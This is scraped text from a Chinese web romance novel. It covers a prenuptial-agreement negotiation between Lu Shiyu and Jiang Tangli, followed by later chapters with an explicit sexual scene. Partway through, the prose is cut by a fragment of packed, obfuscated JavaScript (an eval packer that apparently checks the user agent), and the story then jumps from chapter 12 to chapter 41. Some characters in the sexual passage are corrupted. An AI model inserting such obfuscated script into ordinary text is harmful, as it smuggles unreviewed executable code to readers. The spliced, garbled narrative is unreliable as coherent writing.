江棠梨没有立即回答,直到翻到第十一页,“怎么没有财产归属?” 正常来说,每一类的财产后都会写明归属方。 当然,婚前财产肯定不涉及分割,但也要注明吧。 “因为不知道江小姐喜欢什么。” 什么意思? 是列出这些让她选? 江棠梨抬眼看他。 从他看似温和的笑意里,江棠梨肯定了自己的想法。 不得不说,他很大方。 可是拿人手短,再说了,他们之间又没有感情基础,要一个外人的钱财,江棠梨觉得别扭,而且接受了,会不利于后续与他谈条件。 “不需要。”她话语坚定。 陆时聿略有些意外:“不喜欢?” 喜欢啊! 没人会不喜欢钱,但江棠梨更喜欢自己挣钱自己花,虽然酒吧的盈利远远不够她的日常开支,但她还有江腾实业的年终分红,爷爷留给她的信托基金,每年也可以获得千万的稳定收入。 “这跟喜不喜欢没关系。”江棠梨说:“各自名义所持的动产不动产归各人所有,所欠债务也归各自承担。” 一句话,表明了她对资产以及负债的态度。 陆时聿垂眸笑了笑,“既然江小姐这么说了,那我就照我想给的给了。” 硬送的意思? 江棠梨一时不知该说什么了。 陆时聿伸手示意她继续往下看:“除了财产之外,协议里还有其他内容。” 第二大项便是婚后财产制度。 生产经营、知识产权、继承或赠与,以及其他所有动产不动产所获得的收益,都将在婚后作为夫妻共同财产进行分割。 看到这些,江棠梨心脏开始噗噗直跳。 再往下,她直接愣住了。 简单来说就是,婚后他名下取获得的一切收益,她江棠梨都有权享有一半,而她获得的收益却只属于她自己。 一句话概括:他的有她的,她的还是她的。 这简直是霸王条款。 重点是,她是获益的那一方。 这男人是傻了还是疯了? 他就不怕她离婚? 江棠梨整个人怔怔的,抬头的动作都像是被慢放了。 “为什么?” 和他对视了好一会儿,江棠梨才呆呆地问了这三个字。 “因为对我来说,这门婚事不是儿戏,所以也请江小姐认真对待。” 他唇边浮着淡淡的笑,却丝毫不减他话里的认真和严肃。 江棠梨把他的话在心里反复琢磨了几遍后,不太确定地问:“是不可以离婚的意思吗?” “当然可以。” 不等江棠梨轻松一口气,又听他说:“如果江小姐一定要离婚,我当然也不会强人所难,但是江家的未来,想必江小姐也要有所顾虑。” 江棠梨只觉心口被一块千斤重的巨石压住。 原来在这等着她呢! 原来他的温和都只现于嘴角,看似温润的外表下,却有着不容任何人越矩、试探,甚至忤逆的强势。 许久,江棠梨嗤出一声笑来:“所以即便你婚内出轨,我也要打碎牙齿往肚子里咽?” “不会有那种可能发生,”陆时聿几乎撵着她的尾音回答:“无论是基于我的道德底线,还是整个陆盛集团的未来,我都会忠于这段婚姻,到老,到死。” 12. 第 12 章 江棠梨被他语气里的郑重与笃定震慑住了。 “关于这一点,协议里也注明了,”在她的怔愣里,陆时聿熟练地翻到承诺与说明的那一页,“从这里开始。” 男方不得与其他异性发生不正当婚外情行为(出轨行为),包括: 1、与其他异性在非正常场合存在明显超出正常交际的亲密、暧昧行为; 2、与其他异性存在任何的网聊、通话、亲密合照、共同旅游等,且无法给出合理解释的; 3、与其他异性以情侣、夫妻的称谓互称或以情侣、夫妻的名义参与社交活动; 4、出现女方所不知晓的血缘关系子女; 5、...... 江棠梨一行一行地看着,一页一页地翻着,那些从未在她脑海里出现过的画面都被他详细列举了出来。 整整三页纸。 最后是一句总结:男方如有违反本协议第四项中行为之一的,即婚内出轨或存在过错行为,应作为过错方应给与女方补偿—— 不是具体金额,而是一项又一项的动产不动产之类的。 江棠梨往后翻了翻:“这么多?” “因为净身出户没有法律效力,所以这里重复了第一项里的资产范围,只有海市一处房产没有写上。” 江棠梨整个人怔住了。 这人就这么有把握自己的后半生不会出轨? 真的抱着一生一世一双人的态度对待这份婚姻? 一辈子啊...... 她心里的那份婚前协议里可是写明了:一方不允许以夫妻名义强行与另一方发生性行为。 他若不出轨,而她又不给他碰,这不是逼着他当和尚吗? 他才三十岁,正值壮年,他有这么强的自制力吗? 想着想着,江棠梨的视线不自觉就往他腹下瞄。 陆时聿一连两声“江小姐”才让江棠梨恍然回神。 看的时候没觉得有什么,视线一落进他眼睛里,江棠梨顿时脸红到了耳尖。 她忙错开视线,慌乱的一双眼,左瞄右瞥的。 陆时聿见她脸红得不太正常:“江小姐要不要把外套脱掉?” 江棠梨低头看了眼,误打误撞的给自己找到了理由:“我、我说我怎么这么热呢......” 她身上穿的是一件黑色长毛呢大衣,脱去后就只剩一条一字肩的黑色修身连衣裙。 修长的天鹅颈,流畅的锁骨,一并露着,任谁都不禁想多看两眼。 但陆时聿却没有一丝一毫的越矩眼神,绅士且主动地接过她脱下的外套,挂到了隐于墙壁的衣柜里。 待她坐下后,陆时聿再次步入主题:“不知江小姐这边有什么要求。” 明明一分钱好处都还没拿到,可江棠梨已经有点难以启齿了。 看出她的欲言又止,陆时聿语带安抚:“没事,江小姐尽管可以提,只要我能做到的。” 他能做到吗? 除非他不是男人。 江棠梨深吸一口气,“我要求也不多,就两点。” “江小姐请说。” 心里所想,自然做不到像协议里那般的措辞严谨。 “就是我之前说的自由,婚后你不能像我爸那样管着我。” 如陆时聿所料,只是他不清楚的是:“江总平时都是怎么管着你的?” 说到这儿,江棠梨顿时一肚子的小怨气:“总想让我把酒吧关了,而且不让我晚上出门。” 难怪之前问他婚后会不会给她设门禁呢。 陆时聿嘴角滑出笑:“那你一般从酒吧回来都是几点?” “两三点吧。” 眼看他眉心蹙起,江棠梨囊起鼻子:“酒吧不都这样吗?” 这一点,陆时聿无法反驳。 但是他问:“那你平日去酒吧会喝酒吗?” “偶尔,兴起了会喝一点,但你放心,我有分寸,而且我随行都有保镖。” 陆时聿想起来时,等在她车外的两个男人。 “今天江小姐出来有带保镖吗?” 江棠梨不知他话里深意,点头:“当然。” 陆时聿心里了然。 原来那晚在酒吧,那两个男人面对醉酒惹事的客人按兵不动,是她授意的。 陆时聿压下心头的笃定,“既是这样,那婚后江小姐可以留在京市。” “留在京市?”江棠梨嘴角不由一僵。 她目光定在陆时聿的脸上,试图深究他刚刚那句话的真假,见他点头,并且说:“留在京市的话,更方便江小姐打理酒吧生意。” 从这句话里不难听出他在满足她想要的自由。 可江棠梨现在一心想逃离父亲的管控。 再说了,他们的婚礼肯定隆重且盛大,到时候圈子里的人都知道她结了婚,却和老公两地分居,不知背地里要怎么笑她呢! “不用,”江棠梨表其话藏其意:“哪有婚后分居两地的道理,我可不想外人对陆总指手画脚。” “所以江小姐是准备婚后跟我回海市?” “当然。” 她答得理所应当,陆时聿也应得不做迟疑:“好,一切随江小姐喜欢。到时候我会给江小姐配备私人飞机,供你来回方便。” 一声“谢谢”后,江棠梨说回正题:“总之我想做的事,你都不能说不。” 陆时聿不是一个轻易允诺的人。 “江小姐说的这条太过模糊,具体你想做哪些事,而我又有哪些不能说不,还希望江小姐能细列出具体。” 真不知该说他老古板,还是行事太过谨慎。 江棠梨索性敞开天窗说亮话:“婚后我会在海市再开几间酒吧,所以在时间上,你不能约束我,家我会回,但是几点回,你不能管。” 陆时聿沉默片刻,“经营前期,势必是要多费一些精力,但生意上了轨道,我觉得江小姐大可不必所有事都亲力亲为。” 江棠梨听出来了:“所以你不能答应?” 陆时聿没有直接回答,而是说:“有一句话叫,‘英雄老板‘’只能成就小企业,‘英雄团队‘’才能成就大企业,不知江小姐有没有听过。” 这是准备给她说教了? 江棠梨脸一偏:“没听过。” 看得出她不爱听,也不想听。 陆时聿笑了笑:“以一己之力,或许可以以一当十、以一当百,但不可能以一当千。” 他点到为止,重入正题:“江总愿意相信我,把你嫁给我成为陆家的一员,那自然就是把你的人生安全交到了我手上,我可以允诺不会干涉你的事业,但像江小姐刚刚说的,几点回家我都不能过问,那很抱歉,我做不到。” 就知道他不会这么爽快地答应。 江棠梨“嘁”了声:“你做不到不代表别人也做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也是,任一个正常男人怕是都不能答应。 江棠梨换了个说法:“我的意思是,我一个人睡习惯了,会不习惯旁边有人。” 说完,她又一秒懊恼,下巴一抬,“咱俩又没感情基础,我提这个要求也不算过分。” 他都能拿话激她,她也能。 “还是说,陆总找人结婚,只是想解决生理需要?” 旁边还有两名律师在,这话无疑让人难堪。 陆时聿也猜出她是有心扳回一局。 他收起刚刚一时的讶异之色,唇角掀起很淡一缕笑。 只是不等笑痕完全散去,他就说了声:“好。” 江棠梨还以为自己听错了:“你答应了?” “若不答应,那我岂不成了江小姐口中的——” 他像是丝毫不介意旁边还有旁人,一字一顿:“用下半身思考的动物?” 江棠梨瞥了眼那两名律师,两人都面无表情地垂首坐着,像是完全没听到似的。 “不过,”安静一阵的包厢被打破,陆时聿直白又坦荡地给出转折:“我只是答应分房,但江小姐若是想要一个无性的婚姻,那很抱歉。” 40-50 第41章 喧天鼓乐突然一停,整个酒吧,除了二号卡座里的两人,都皆为一愣。 不知是谁高嚷一句:“怎么回事啊,老板呢?” 旋转灯从舞池到DJ台来回变幻。 “下面有情我们的Mignon!” 是钢管舞的女神。 所有灯光聚焦,Mignon那一头标志性的紫发出现在了所有人的视线里。 “满意了?” 陆时聿却没听见似的,视线只追着那一淌银河般的身影。 作为今晚的罪魁祸首,江棠梨踩着她的银色细高跟,绕过舞池回到卡座,全然不知内情地跑过来:“没想到你们这么会搞惊喜!” 楼昭笑得腮帮子在磨:“这不是嫂子来了吗!” 江棠梨的血液里还残留着刚刚热舞下的亢奋,“今晚还跳吗?” “跳啊,”楼昭若有似无地往对面瞟过去一眼:“不过得晚一点了。” 别说今天是周末,就算工作日她也没什么事。 “没事,不急,”说完,江棠梨往陆时聿身边一坐:“一会儿——” 猜出她意图,陆时聿不等她说完就打断:“明天还去沁江路吗?” 江棠梨眼波一顿。 对哦,明天她的酒吧就要开工了! “去之前我还要回一趟公司。” 江棠梨愣了一下:“是要现在回去吗?” 陆时聿默不作声地将外套披到她身上后,才笑着揉一揉她发顶:“爷爷还在家呢。” 真是一来酒吧就什么都忘了! 江棠梨抓起包拉着陆时聿的胳膊就起身:“那我们赶紧走吧!” 眼睁睁地看着他把人骗得团团转,楼昭笑得舔唇:“陆老板——” 陆时聿把压在指下的金色卡片往他面前一推:“有劳楼老板帮忙结一下账。” 楼昭:“” 陆时聿几乎是被江棠梨连拖带拽出了酒吧,进了电梯,江棠梨低头看一眼时间,九点四十,加上回去的时间,到家肯定要超十点了。 “爷爷平时都是几点睡的呀?” 虽然已经把人带了出来,可谁知她会不会临时变卦。 陆时聿说不一定,“早点晚点都有可能。” 出了电梯,江棠梨拽着他就往外跑,陆时聿嘴角藏笑,瞥了眼她的高跟鞋:“你慢点。” 江棠梨恨不得争分夺秒,一上车,她就扒拉住前面的座椅:“陈秘书,赶紧开车!” 陈敬不明所以地点了点头:“好的太太。” 一路上,江棠梨不知抓了多少次陆时聿的手腕去看时间,明明她自己也戴了手表。 “三秒,三秒,陈秘书,你赶紧超过去!” 结果却见车稳稳停在了斑马线前,“你刚刚一脚油门不就超过去了吗?现在好了,又要多等60秒的红灯!” 陈敬看了眼后视镜,“太太,不急这一分钟。” “你又不是太太,你当然不急了!”说完,江棠梨噘嘴往后一靠。 “没事,”陆时聿握住她手:“爷爷不会说什么的。” 也许当面不会说什么,可心里会不会对她生出什么不满呢? 江棠梨瞥了他一眼:“那如果爷爷问起,你就说咱俩去吃饭去逛街去了。” 总之就是不能提酒吧。 陆时聿失笑:“这么怕爷爷?” “不是怕!”她反驳而扬起的调子又突然偃旗息鼓:“我就是就是想给爷爷留一个好印象。” 没想到老爷子竟能成为拿捏她的突破口。 眼看还有一个路口就要到家了,江棠梨突然想起来:“明天爷爷是跟我们一起回去吗?” 陆时聿刚想点头,又品出她话里的另一层意思。 “你不想爷爷回去?” 江棠梨鼓了鼓腮:“这次他老人家过来,我都没怎么陪他。” 没能从她的回答里得到自己想要的,陆时聿便换了个问法:“那等我们回来,问问爷爷——” 不等他说完,江棠梨就连连摆手:“不用不用,我就随口那么一说。” 陆时聿凝眸看她,随着视线里那双乌黑的眼瞳左转右转,车也稳稳停于车位。 陈敬刚一回头—— “你回去吧。” 声音不急不缓,甚至可以说平淡,但他却紧盯着身旁人的脸。 陈敬料感不妙,但也不好过问,默不作声地下车后,快速走到安保室门口。 “陈秘书,您不开车回去吗?” 陈秘书让了根烟进去:“不急。” 车厢里,江棠梨一手扣着车门把手,另只手被陆时聿攥着。 她不明所以地眨了眨眼:“快下车呀!” 陆时聿眼神半眯,像暗了半边的天色,“为什么不想让爷爷过来?” 是她刚刚反应过大,还是一路上的心急如焚被他发现了破绽? 江棠梨下意识吞咽了一下:“我、我哪有!” “没有你结巴什么?” 被他一说,江棠梨立马把唇角抿住了。 视线从她的唇移到她的眼,“这么不想爷爷在这,”他笑出一声气音,带着几分自嘲:“是我哪里表现的还不够好?” 上次问她可不可以反悔当初的口头约定,是她说看他表现的。 所以即便是用手,他都忍着没有对她有其他过分的越矩。 今晚,他更是忍着,哪怕是把难题甩给楼昭,都不想在她面前做一个恶人。 可她呢?一听说爷爷要回海市,就激动的、迫切的,恨不得立马搬回一楼。 “江棠梨,你还要我怎么做?” 他的一连两个问题,把江棠梨问得脑袋都宕住不能思考了似的。 偏偏她的沉默像一把刀,把陆时聿的百般忍耐、克制都片成了碎片。 “我早就跟你说过的,我不会把婚姻当儿戏,如今结婚证都领了,可陆太太好像还没有进入到状态。” 说完,江棠梨的手腕被他往回一拽。 就在他吻过来的时候,江棠梨手一抬,捂住了他的唇。 他瞳孔是深邃的黑色,被他这么近距离地凝眸看着,威慑力直达人心。 江棠梨一颗心脏都快被攥紧了,“你、你是不是误会我什么了?” “误会?” 嗓音低沉,却又尾音微扬,从江棠梨的指缝里泄出来。 江棠梨不敢松手,生怕他真的吻下来,不是怕他失控,而是怕自己。 就好像下午在车里,吻着吻着,她就忍不住下手了 现在也是在车里,而且还离门口的安保室那么近 “先回家好不好?” 在她眼里看见了类似于羞的闪躲眸光,陆时聿不由得蹙眉。 是他想多了,还是她又开始了炉火纯青的演技想一时脱身? 陆时聿搂在她腰上的手没有松,视线更是一瞬不离她眼,“然后呢?” 刚刚被他拽过来,腰骨到现在还歪着,江棠梨也不敢动,捂在他嘴巴上的手缓缓拿下来后,就开始揪着他的衬衫。 “给你抱还不行吗?” 声音软得像哄人。 陆时聿突然想起领证那天下午,江璟烨说她:有理的时候,欺硬怕软,没理就只会耍无赖。 陆时聿觉得不对。 她是有理的时候,软硬都欺,没理的时候,怕硬欺软。 不过有个办法倒是可以证明眼下的她是真心服软,还是想金蝉脱壳。 陆时聿扶正她腰:“陪我去买个东西。” 在江棠梨还没反应过来的一道“啊?”声里,陆时聿已经打开车门先行下车。 十多米远的安保室门口,陈敬手里的烟刚掐灭,见陆总牵着太太的手迎面走过来,一时之间竟不知该转身还是该迎上去。 结果就这么站在原地,眼睁睁地看着陆时聿走到他面前。 “你怎么还没走?” 总不能说生怕你们吵架,又或者在车里“打”起来吧。 陈敬瞥了眼身旁垃圾箱上刚被拧灭的烟蒂:“正准备走呢。” 相比陈敬对他的了解,陆时聿更能看透他,“我问的是原因,你说的是结果。” 等他一说完,陈敬忙岔开话题:“陆总,要我把太太下午买的东西先拎回去吗?” 安保人员忙小跑出来:“陈秘书,这点小事交给我就好了。” 陆时聿没管他们,攥着江棠梨的手腕走出大门。 穿过四车道的马路,没多远就有一家24小时营业的药房。 江棠梨还以为他是要买药,“你不舒服吗?” 见他不理人,江棠梨嘴角悄悄往下撇,视线从他侧脸收回再看向他抬起的手。 江棠梨眼波一顿。 这人来买的不是药,而是 江棠梨脸一红,抬起被他牵着的那只手就撞了他一下。 “你买这个干嘛呀!” 相比她偷摸着的小声,陆时聿语波淡得出水:“你说能干嘛?” 江棠梨扭头往收银台瞅了眼。 陆时聿刚一转身,就被她抱住胳膊给硬生生拽了回去—— “等会儿,等那个人买完!” 一身偷感,不知道的还以为她在做贼呢! 陆时聿气笑一声,“买这个很丢人吗?” 江棠梨:“” 如果去超市,在结账的时候顺手抄起一个,江棠梨觉得不丢人,但是来药店,专门买这个,她觉得太招摇了。 瞥了眼他手里的蓝色方盒,江棠梨晃了晃他的手:“你再挑两个其他的。” 短暂怔愣后,陆时聿失笑一声:“好。” 眼看他又把手往那一排的红黄蓝里上面抬,江棠梨直接拿胯撞他:“没让你拿这个!” 说完,她挣开他手,跑到隔壁货架上,又是感冒冲剂又是止咳糖浆,抱了一个满怀。 陆时聿冷眼看了她几秒后,眉梢一扬,又拿了两盒黑色。 气得江棠梨直跺脚:“你买那么多干嘛!” 她看得可清楚了,一盒12个! 仗着她今天没理好拿捏,陆时聿一点都不让着她:“你再这样,我把这货架上的全买了。” 江棠梨:“” 到了收银台,江棠梨生怕和他扯上关系似的,恨不得离他两米远。 结果陆时聿手臂一伸,搂着她肩把她带到了怀里。 收银员看向被江棠梨抱在怀里的:“你好,这些——” “这些不用了,等下还要麻烦你放回去。” 见她不松手,陆时聿低头在她耳边:“手机和包都在车里,你拿什么结账?” 江棠梨:“” 出了药店,江棠梨抖了几下肩膀都没能把他的胳膊抖掉,抬头,凶巴巴地瞪了他一眼:“以后再买这些你自己来!” 她说的是以后。 陆时聿眼里藏着笑意:“好。” 回去的路上,江棠梨几次告诫自己不能再想不能再想,可越是告诫,黄色废料越是往她脑海里成吨地往下倒。 特别是回想起昨晚被她包裹于手的尺寸。 江棠梨突然打了个寒颤。 感觉到她肩膀的抖动,陆时聿低头看她:“冷吗?” 江棠梨垂着脸,脑袋直摇,一不小心瞥到被他拎在手里的袋子。 “你别这么拎着呀,万一被爷爷看到!” 马上就到家了,陆时聿无所顾忌:“爷爷已经睡了。” 江棠梨眼睛一亮:“你怎么知道?” 之前问她的问题,她还没回答。 索性也不问了,陆时聿直接下了通牒:“即便爷爷回京市,你也别打一楼客房的主意。” 江棠梨剜他一眼:“爷爷说了,这也是我的家,我想住哪就住哪。” “行,这么喜欢一楼,那我就跟你一块搬下去。” 江棠梨双脚一停:“陆时聿!” 没了车里时的低软,也没了在药房里的鬼祟,冷月当空,江棠梨仰起脸,嘴角扬着明艳,露出了她本性里的桀骜:“我是想搬到楼下去,但你能不能留住我,就要看你的本事了。” 他的本事? 陆时聿轻笑一声的同时,低下肩膀,与她平视。 “前提是你不许嘴硬。” “不许想要说不要。” “也不许想继续却要我停下来。” 对此,江棠梨是不信的。 既不信自己会在那种情况下还能嘴硬,也不信他能有让自己既想要还又不让他停的本事。 可被他这么直白地说出来,羞里带着几分恼,咬着唇瞪他。 把陆时聿瞪得没辙,搂住她肩,掌心揉着她看似轻圆却又瘦弱的肩膀:“开个玩笑。” 江棠梨真就信了,信他只是逞嘴上之快。 只是没想到,一个小时后,会再一次亲身感受到他嘴上不饶人的功夫。 隔着眼底蒙出的一层薄薄水雾,江棠梨看着天花板,听着赤耳的水声,余光里是自己绷。 紧的脚趾。 被他有意闯进的幽静树林,掀起清凉澄澈的一汪池水。 是该说他的太过灵活,还是自己太不经戏弄。 怎么没几下的功夫,就让她整个人都 白里透红的脚后跟深陷于松软的床垫,两顶漂亮的漩涡里,她细白的手指穿进他乌黑的短发,尖尖的下巴仰起,被灯光在床后背上投了一笔落成的剪影。 第一次体会到,不是干柴才能燃烧,噗噗的水汪里也可以蹿出一阵阵的火苗。 那种感觉像野马,马不停蹄驰骋在她的骨头缝里。 让她来不及歇上几秒的功夫,就沉出了一阵 于是这场暴雨还没有开始,她就先 等到陆时聿从那一跻勾身回来,看见她潮湿的眼睫,他眸里顿时万重掠影。 废了好一番功夫,也流了不少的细汗。 可是尝到了甜头,便一发不可收拾。 灯光像海,影子像浪潮。 进门前的那段路,所有的臆想成了真。 让她的指甲尖都恨不得抠进他的皮月夫里。 陆时聿俯身抱紧她,在她的耳边问:“要葶下来吗?” 气息像是被洱海六月的风,偷亲了她一下。 「要」是嘴硬。 「不要」就会被他将了一军。 幽黄的壁灯把她脸烙得发烫。 江棠梨咬紧了唇,却又被他巧滑的舌尖轻而易举地破开。 野蛮进军就像夏天的荷尔蒙,炽热又动人。 又像沾满颜料的笔,分不清是在她身上涂鸦,还是在她体内填充油画。 只觉得他这帆船,驶入了海的最深处。 那是写了她名字的海,不曾有第二个人进犯的领地。 而他平日里最常流于表面的温柔,在今晚,只若隐若现于握着她纤颈的指缝里,又或者卡着她下颚的虎口缝里。 连呼吸都有撩拨心弦的热,更别说她高高仰起的下巴。 十里扬州,本该灯火不灭。 可是她又一次潮了眼睫。 带着不得已的无奈,也有隐忍克制里的难捱。 陆时聿抱紧她,埋首感受着她颈窝里被汗凝湿的香气。 “宝贝。” 沉哑至极的两个字,有一种沉静的力量。 冲出他起伏又大汗淋漓的胸膛。 之后,又一声“宝贝”,有着难以形容的温柔,烫平了怀里人的心。 爱是讲证据的。 爬于她胸前的痕迹,像是连绵的海浪。 有视线里的壮阔,也会在浪波滚起后留下一波回响。 江棠梨手都攥不成拳,绵绵无力地砸在他肩膀,一声声的控诉被细密的水流声卷走。 陆时聿只笑着,随她口舌逞凶在他的肩膀,任她发泄。 可惜连牙齿都使不上劲。 等到把她洗完了,江棠梨却不愿出去了,绕到他身后,抱着他的腰,脸贴着他紧实的后背,汩汩水流从他肩膀淌下来,软了她的调子。 “好困~” “马上就好。” “明天早上几点起啊?” “十点半的飞机,若是你起不来,我就让人把视频录下来等你醒了再看。” “不要,”她鼻音还很明显:“我要去现场看。” 水声停了,陆时聿转过身来,将她拦腰一抱。 “那明早喊你起床,不许生气。” 江棠梨哼了声:“就生气!” 光说不解气,她搂着他的脖子,一欠身,咬住了他耳垂。 七八分的力道一闪而过,又被她心疼似地松开。 溜过去一眼,明显的齿痕印让她唇角忍不住往上抿了一下。 “高兴了?” 本来是有一点点高兴的,可是刚好被他抱到了洗手台前,方形的水池里是那条只穿了几个小时就被他一手蛮力撕坏了的裙子。 “你故意的是不是?” 随着她手指的方向,陆时聿看过去一眼:“一条裙子而已,再买就是了。” 左右而言他。 “还说人家陈秘书只说结果不说过程,”她手指戳在他胸口:“怎么不说是你这个顶头上司以身作则?” 陆时聿握住她那只看似细弱,撩起人来却要命的手指,“把那条黑色裙子穿给我看看。” 都这么晚了,这人还让不让人睡觉。 江棠梨身子一转:“我不要。” 陆时聿下巴抵在她肩,目光透过镜子,将她从锁骨蔓延而下的几处红痕一览无遗尽收眼底。 “要不要?” 话音落地,江棠梨眉心突然一紧。 耳边一声“嗯?”听似带着第三声的征询,实则是手指作乱的警告。 江棠梨往镜子里的人剜过去一眼,想恼他的,奈何嗓子里发出的声音不争气。 悠长的一声低口今破口而出后,陆时聿扳过她脸,吻上她唇。 不过几下的功夫,江棠梨就反手勾住了他脖子,赤脚的她,肩膀刚好抵在身后人的胸膛里。 陆时聿一手捧起她脸,体贴地给她力量支撑。 另只手却还在作弄着她。 抵着,蹭着,捻出足够的))。 湿滑才一时罢手。 抬起时,他停了半含半咬的吻,嘬了她一下后,睁眼。 把属于她的晶莹剔透擦到只为他一人绽放的苞)。 蕾上。 江棠梨顿时羞红了脸,“你——” 他用动作做出了她没有说出口的话。 很坏,也可以说恶劣。 都说坏人作恶会有瘾。 他不喜欢碰有瘾的东西,不喜欢被操控,无论是物还是人。 可一旦破了例,难免不会接二连三。 所以他直接把人抱去了衣帽间,并亲手给她穿上了那件还没有被她身体展示过的宫廷式复古黑色短裙。 后背的粉色绑带被他一根根交叉系好后,陆时聿握住她两只肩膀,看镜子里的她。 蝴蝶结是一种很经典的装饰元素。 在今天之前,陆时聿一直都觉得它有一种单纯的美好在里面。 但是穿在她身上,却有一种冲破束缚与新生的勇敢。 特别是那两只黑色蝴蝶结被设计站在透明肩带上,像是一不留神就会飞走,就会从他视线里消失。 “好看吗?” 略有失神的一双眼重新凝回她脸上,陆时聿笑了笑:“很漂亮。” 以前他也这么夸过她,但其实是带有几分无奈在里面的。 但是今天从他口中说出来的这三个字,是他不经思考,最直白的第一感受,是再也没有比这三个字更能形容此刻他眼里的她。 就像「我爱你」,看似老套没有新意,可在爱意面前,再也没有什么比它更有分量。 可它也沉重到让人忍不住小心翼翼。 陆时聿低头吻在她肩膀,“酒吧名字想好了吗?” 哪里需要想。 不过江棠梨还是想在他面前卖一卖关子:“你要不要帮我想一个?” 她那点小心思,陆时聿早就摸得一清二楚。 “半日闲怎么样?” 江棠梨微微一愣:“你、你怎么知道?” 他怎能不知道,早在知道她京市的两家酒吧分别叫「TOU」和「浮生」的时候,他就猜到了。 “京市的两家酒吧规模太小了,抽空陪你重新选个好的地段。” 被他始料不及地塞了这么大一颗糖到嘴里,江棠梨意外到有点不敢多品。 要怎么形容她此时的心情呢? 有种被黄鼠狼拎着礼物上门拜年的后怕。 “你怎么突然” 陆时聿搂着她腰,把她扳过身来:“不想要?” 想啊,当然想! 但是江棠梨觉得:“你是不是有什么条件?” 条件当然有,不过不适合现在交换。 陆时聿牵起她手抬至她头顶,江棠梨不明所以地顺着他手腕的力道和方向,原地转了一个圈、两个圈、三个圈 天旋地转晕眩感刚一袭来,后背就被他稳稳带进了他怀里。 “不是喜欢跳舞吗,”他用唇厮磨她敏感的耳垂:“这才转了几个圈?” 第42章 在酒吧被他应允可以去跳舞的时候,江棠梨还在想,他今天怎么那么大度,带着几分不确定,她全程跳得都小心翼翼,本来身前是个男人,她还特意避开绕到一个女孩身后,甚至在跳的时候,她几次往卡座方向看,但是并没察觉到他脸上有任何的不悦,甚至还眉眼携几分笑,时不时地和楼昭聊两句。 却没想到,离开酒吧后一字未提,却在这时候和她秋后算账。 江棠梨脑袋一偏,躲开他。 陆时聿不觉意外地笑了笑:“怎么了?” 还问她怎么了。 江棠梨歪着脑袋看了他几秒,“我就说你怎么这么好心,原来在这儿等着我呢?” “在这儿等着你?”陆时聿眉梢轻挑:“什么意思?” 比她还会装无辜。 这要搁以前,江棠梨一秒发火,但是现在她学聪明了。 发火能解决问题吗? 能让自己的事业更上一层楼吗? 小气性就这么被她自我攻略到偃旗息鼓,江棠梨眉眼一弯:“那你跟我说说,你刚刚说的好地段是在哪儿啊?” 陆时聿从来不打没准备的仗。 可若是这个时候跟她细说,那就真的坐实了她的猜测。 得不偿失的事情,陆时聿不做。 “刚刚只是我一个建议而已,并没有实质性的想法。” 江棠梨眯眼盯着他看,“只是建议?” “不然你刚刚问我什么条件,我为什么不说?” 见他一脸的无辜不像是装的,江棠梨皱没:“那你干嘛突然提我跳舞的事?” 陆时聿轻笑一声:“谁让你转了两圈就站不稳了。” 江棠梨嘴巴一扁:“你那是两圈吗?” 陆时聿可不想被她细想出破绽,腰身一弯将她抱了起来。 吓得江棠梨惊呼一声:“喂——” “嘘,”陆时聿声音一压:“爷爷睡眠浅。” 江棠梨一秒咬住了唇肉,收声间,人被陆时聿抱出了衣帽间。 把她放到床上后,陆时聿俯身的姿势却没变,双臂撑直压在她身体两侧:“今晚想穿什么颜色的睡裙?” 见她不说话,唇也止不住地往里抿。 陆时聿心里了然了,这是又开始打什么坏主意。 “你可别跟我说,什么都不穿。” 又这么轻而易举被他戳破了心思,江棠梨眼睛眨出不可置信的茫然。 结果额头却被他用手轻轻一弹:“想都别想。” 眼看他直起身,江棠梨也一秒撑着床段坐了起来,拽住他胳膊,轻轻晃着:“你是不是不知道裸睡有多舒服?” 她是舒服了,就不想想他? 陆时聿垂眼看她,却不说话。 江棠梨看出来了:“你是不是没有裸睡过?” 陆时聿:“” 见他不说话,江棠梨直接并起三指:“我保证,只要你睡过一次绝对会爱上,真的,超舒服,而且入眠超快!” 陆时聿弯下腰,双手压膝,“再来一次,入眠更快。” 江棠梨:“” 以为会把她震慑住,结果刚一关灯,咕哝声就传了过来。 “这么薄的裙子,穿了跟没穿有什么两样。” “没你的时候,人家就经常裸。睡。” “还是不结婚的好,没人管——” 还没说完,身上突然一凉。 虽然床两边的壁灯关了,但是床沿下一圈亮着雾蒙蒙的幽黄。 暗色里,不仅能看见他的脸部轮廓,更能看见一条黑影从眼前掠过。 是刚穿到身上不过两分钟的黑色睡裙,就这么始料不及的,被他从头顶剥掉。 “舒服了?” 江棠梨:“” 温热的体温,透过他身上那层清凉丝料贴紧她皮肤,也隙近了她的骨头缝里。 陆时聿侧身抱着她,虽然眼睛闭着,但能感觉到她乱眨的眼睫一下又一下地扫在他颈窝里。 丝丝痒痒的。 陆时聿沉出一口郁气:“真想再来一次——” 一声假装的呼噜声打断了他。 一点一点往上爬的火就这么被她的可爱给浇没了。 * 老爷子昨晚睡得早,早上不等李管家过来,他就自己去了园里溜达,甚至连王管家都没带。 正喂着鱼,听见熟悉的声音。 老爷子扭头看过去一眼:“怎么这么早就起来了?” 陆时聿已经在园子里跑了半圈:“正常时间起床而已。” 但如果不是床上的人一条腿突然翘他上来,没定闹钟的他,或许还能再睡半个小时。 老爷子眼看池塘里窝蜂抢食的锦鲤,像是随口一提:“这段时间没和梨梨闹出什么不愉快吧?” 能这么问,要么是从李管家那里套出了些什么,要么是从陈秘书那里打听到什么。 李管家和陈秘书不同,打陆时聿记事起,李管家就照顾在自己身边,说什么做什么的出发点都会以他为中心,别说他现在和江棠梨看着恩爱和谐,即便是之前有矛盾,李管家也不会在老爷子面前说出任何不利于他的话。 但是陈秘书就不一样了,年轻时在老爷子身边磨炼过几年,对老爷子有一种骨子里追随的服从感,哪怕后来做了父亲的助手,也会因为老爷子一句话而马不停蹄。 所以现在他即便是待在自己身边,老爷子若是向他打听些什么事,他绝对会知无不言言无不尽。 这也是陆时聿不太想把很多私事交给他处理的原因。 所以陆时聿便说一半留一半:“我们刚领证,磨合阶段,即便是有点小摩擦也正常。” 